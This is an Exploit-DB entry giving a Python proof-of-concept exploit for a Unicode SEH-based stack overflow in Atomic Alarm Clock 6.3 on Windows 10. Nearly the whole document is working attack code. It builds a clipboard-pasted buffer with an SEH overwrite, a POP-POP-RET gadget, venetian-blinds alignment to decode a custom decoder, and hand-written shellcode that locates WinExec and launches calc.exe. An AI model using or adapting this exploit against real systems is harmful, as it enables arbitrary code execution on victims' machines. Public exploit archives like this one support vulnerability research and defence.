Exploit-DB #48346
Description: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
Type: local
Platform: windows
Date: 2020-04-20
Author: boku

Exploit:
# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-17
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/ataclock.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: Atomic Alarm Clock 6.3 beta
# Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer

File    = 'poc.txt'

os_nSEH = '\x41'*(461)
nSEH    = '\xeb\x05'   # jmp short +2
SEH     = '\x47\x47'   # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe] 
#{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False 

getPC   = '\x73'   # add [ebx], dh   # nop | [EBX] = writable memory 
getPC  += '\x61'   # popad           # [ESP] = &Payload
getPC  += '\x72'   # add [edx], dh   # realigns execution for 1 byte opcodes

ebx2eax  = '\x58'  # pop eax         # EAX = &Payload
ebx2eax += '\x72'  # add [edx], dh

# Ajust EAX to &Decoder
getDecoder  = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x50'         # push eax            # [ESP] = &Decoder
getDecoder += '\x72'         # add [edx], dh

#DecoderHex  = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
firstHalf   = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
## 2nd byte - \x00 => \x5F
venBlinds   = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72'         
## 4th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 6th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 8th byte - \x00 => \x66
venBlinds  += '\xC6\x66\x72\x40\x72\x40\x72'         
## 10th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 12th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 14th byte - \x00 => \x42
venBlinds  += '\xC6\x42\x72\x40\x72\x40\x72'         
## 16th byte - \x00 => \x32
venBlinds  += '\xC6\x32\x72\x40\x72\x40\x72'         
## 18th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 20th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 22nd byte - \x00 => \x3F
venBlinds  += '\xC6\x3F\x72\x40\x72\x40\x72'         
## 24nd byte - \x00 => \x1F
venBlinds  += '\xC6\x1F\x72\x40\x72\x40\x72'         
## 26th byte - \x00 => \x49
venBlinds  += '\xC6\x49\x72\x40\x72\x40\x72'         
## 28th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 30th byte - \x00 => \xED
venBlinds  += '\xC6\xED\x72\x40\x72\x40\x72'         
## 32nd byte - \x00 => \xC3
venBlinds  += '\xC6\xC3\x72\x40\x72'         
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds  += '\xC3'         #   ret  [!] Now we are executing the decoder!

os_decoder   = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))

# Custom PopCalc shellcode that avoids the bad characters
fKernel32  = '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08'

gExpotTbl  = '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57'

fWinExec   = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C'

# Call WinExec( CmdLine, ShowState );
#   CmdLine   = "calc.exe"
#   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec  = '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3'

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer      = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler      = '\x77'*(9000-len(buffer))
buffer      = buffer+filler

try:
    payload   = buffer
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'